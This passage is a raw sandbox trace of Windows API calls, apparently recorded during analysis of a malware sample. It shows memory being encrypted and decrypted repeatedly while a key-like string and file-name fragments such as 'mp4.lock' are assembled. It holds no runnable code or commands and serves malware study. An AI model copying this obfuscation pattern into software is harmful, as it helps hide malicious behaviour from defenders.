(param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xe5ca\x3177\xc179\x8ac3\x24b3\x3822\x854f\x4a3") returned 0x18 [0139.305] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.305] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6b⽋脇氮嵲") returned 0x18 [0139.305] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.305] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\x1ef\xe7be\x2f54\x3340\x15fc\x10e7\x75ec\xd9eb") returned 0x18 [0139.305] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\x1ef\xe7be\x2f54\x3340\x15fc\x10e7\x75ec\xd9eb") returned 0x18 [0139.305] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.305] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bX脇氮嵲") returned 0x18 [0139.305] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.305] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xa35f\xf344\x9ca\x117f\xd406\x7e96\x4a5e\xfbe7") returned 0x18 [0139.305] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xa35f\xf344\x9ca\x117f\xd406\x7e96\x4a5e\xfbe7") returned 0x18 [0139.305] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.305] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXE氮嵲") returned 0x18 [0139.305] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.305] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\x94ad\x6088\xb1cc\xc10b\x9ae1\xcf5b\xb89f\x7566") returned 0x18 [0139.305] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\x94ad\x6088\xb1cc\xc10b\x9ae1\xcf5b\xb89f\x7566") returned 0x18 [0139.306] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.306] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs嵲") returned 0x18 [0139.306] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.306] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\x3561\x8d16\xf4ad\x7acb\x54e5\x4fab\x1218\xd320") returned 0x18 [0139.306] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\x3561\x8d16\xf4ad\x7acb\x54e5\x4fab\x1218\xd320") returned 0x18 [0139.306] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.306] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1嵲") returned 0x18 [0139.306] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.306] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\x66c6\x58ac\xfcf3\xdc4\x337d\x3418\xd9a5\x1a74") returned 0x18 [0139.306] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\x66c6\x58ac\xfcf3\xdc4\x337d\x3418\xd9a5\x1a74") returned 0x18 [0139.306] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.306] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e") returned 0x18 [0139.306] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.306] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf") returned 0x18 [0139.306] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf") returned 0x18 [0139.306] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf") returned 0x18 [0139.306] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf") returned 0x20 [0139.306] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.307] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+䛦榰퓸쑛ﰌ") returned 0x20 [0139.307] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.307] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xd1be\xab30\x161d\xc643\x130f\x5dbb\xdea1\x2ee3") returned 0x20 [0139.307] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xd1be\xab30\x161d\xc643\x130f\x5dbb\xdea1\x2ee3") returned 0x20 [0139.307] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.307] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+v榰퓸쑛ﰌ") returned 0x20 [0139.307] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.307] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\x7247\xd617\x87c8\x5953\xce8b\x1ab3\xde0\xd86f") returned 0x20 [0139.307] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\x7247\xd617\x87c8\x5953\xce8b\x1ab3\xde0\xd86f") returned 0x20 [0139.307] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.307] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH榰퓸쑛ﰌ") returned 0x20 [0139.307] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.307] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xf5fe\xa0b3\xdebc\xf47e\x9357\xe0d\xf7de\x8b4d") returned 0x20 [0139.307] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xf5fe\xa0b3\xdebc\xf47e\x9357\xe0d\xf7de\x8b4d") returned 0x20 [0139.307] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.307] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0퓸쑛ﰌ") returned 0x20 [0139.307] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.308] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xb3d3\x2fce\xc8b9\xc837\xe235\x4a3f\xfc53\x2693") returned 0x20 [0139.308] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xb3d3\x2fce\xc8b9\xc837\xe235\x4a3f\xfc53\x2693") returned 0x20 [0139.308] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.308] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C퓸쑛ﰌ") returned 0x20 [0139.308] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.308] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\x96b0\xf9d1\xd949\x5d18\xd62d\xd7e3\x65fc\x7d7b") returned 0x20 [0139.308] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\x96b0\xf9d1\xd949\x5d18\xd62d\xd7e3\x65fc\x7d7b") returned 0x20 [0139.308] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.308] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5쑛ﰌ") returned 0x20 [0139.308] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.308] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\x71\xa1ef\x6116\x8ad5\x8d62\x9f92\x4097\xb717") returned 0x20 [0139.308] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\x71\xa1ef\x6116\x8ad5\x8d62\x9f92\x4097\xb717") returned 0x20 [0139.308] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.308] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5Bﰌ") returned 0x20 [0139.308] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.308] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xc945\x24ab\xf261\xabaa\xdefc\xdaef\x4583\xa432") returned 0x20 [0139.308] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xc945\x24ab\xf261\xabaa\xdefc\xdaef\x4583\xa432") returned 0x20 [0139.308] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.309] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5B7") returned 0x20 [0139.309] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.309] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0") returned 0x20 [0139.309] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0") returned 0x20 [0139.309] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0") returned 0x20 [0139.309] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x5f\x31\x4a\x79\x36\x6a\x67\x2e") returned 0x28 [0139.309] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.309] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5B7P䓒覚ㆅ䥱寝") returned 0x28 [0139.309] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.309] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x713f\x2771\x85c6\x9db2\x97bb\x8ee2\x5155\xee36") returned 0x28 [0139.309] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x713f\x2771\x85c6\x9db2\x97bb\x8ee2\x5155\xee36") returned 0x28 [0139.309] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.309] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5B7Px覚ㆅ䥱寝") returned 0x28 [0139.309] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.309] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x60dd\x2cdb\xe4ec\x8db5\x19f4\x32cd\x7936\x453f") returned 0x28 [0139.309] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x60dd\x2cdb\xe4ec\x8db5\x19f4\x32cd\x7936\x453f") returned 0x28 [0139.309] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.310] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5B7Pxsㆅ䥱寝") returned 0x28 [0139.310] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.310] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\xb298\x7d8e\xcc46\x3f03\x4de9\xbeb2\xdad3\xa54e") returned 0x28 [0139.310] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\xb298\x7d8e\xcc46\x3f03\x4de9\xbeb2\xdad3\xa54e") returned 0x28 [0139.310] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.310] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5B7PxsQ䥱寝") returned 0x28 [0139.310] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.310] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x2b1d\x41ea\x444c\xca0b\xc643\x18a3\xc228\xd912") returned 0x28 [0139.310] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x2b1d\x41ea\x444c\xca0b\xc643\x18a3\xc228\xd912") returned 0x28 [0139.310] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.310] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5B7PxsQf䥱寝") returned 0x28 [0139.310] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.310] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x1cbf\x7112\x5b18\x5a8c\x679c\x774e\xee82\x17c7") returned 0x28 [0139.310] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x1cbf\x7112\x5b18\x5a8c\x679c\x774e\xee82\x17c7") returned 0x28 [0139.310] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.310] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5B7PxsQff䥱寝") returned 0x28 [0139.310] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.310] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x2a52\x3ee1\xea1d\x5b02\xe258\x90d2\x6935\x692f") returned 0x28 [0139.311] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x2a52\x3ee1\xea1d\x5b02\xe258\x90d2\x6935\x692f") returned 0x28 [0139.311] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.311] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5B7PxsQffq寝") returned 0x28 [0139.311] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.311] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\xd9ce\x67d3\x49a4\x6c8b\xe50\xf764\x28aa\x7b5e") returned 0x28 [0139.311] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\xd9ce\x67d3\x49a4\x6c8b\xe50\xf764\x28aa\x7b5e") returned 0x28 [0139.311] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.311] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5B7PxsQffqK") returned 0x28 [0139.311] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.311] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x3991\xc732\x3829\x2760\x3bdd\xc8e7\xd43\x97d") returned 0x28 [0139.311] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x3991\xc732\x3829\x2760\x3bdd\xc8e7\xd43\x97d") returned 0x28 [0139.311] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x3991\xc732\x3829\x2760\x3bdd\xc8e7\xd43\x97d") returned 0x28 [0139.311] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x3991\xc732\x3829\x2760\x3bdd\xc8e7\xd43\x97d\x6d\x70\x34\x2e\x6c\x6f\x63\x6b") returned 0x30 [0139.311] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0139.311] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5B7PxsQffqKN﩯缚菹晐鍝熡") returned 0x30 [0139.311] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0139.311] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x3991\xc732\x3829\x2760\x3bdd\xc8e7\xd43\x97d\xce0b\xda87\x5da0\x41dd\x7698\x3d1c\xd563\xfd17") returned 0x30 [0139.312] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x3991\xc732\x3829\x2760\x3bdd\xc8e7\xd43\x97d\xce0b\xda87\x5da0\x41dd\x7698\x3d1c\xd563\xfd17") returned 0x30 [0139.312] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0139.312] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5B7PxsQffqKNj﩯缚菹晐鍝熡") returned 0x30 [0139.312] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0139.312] SysStringLen 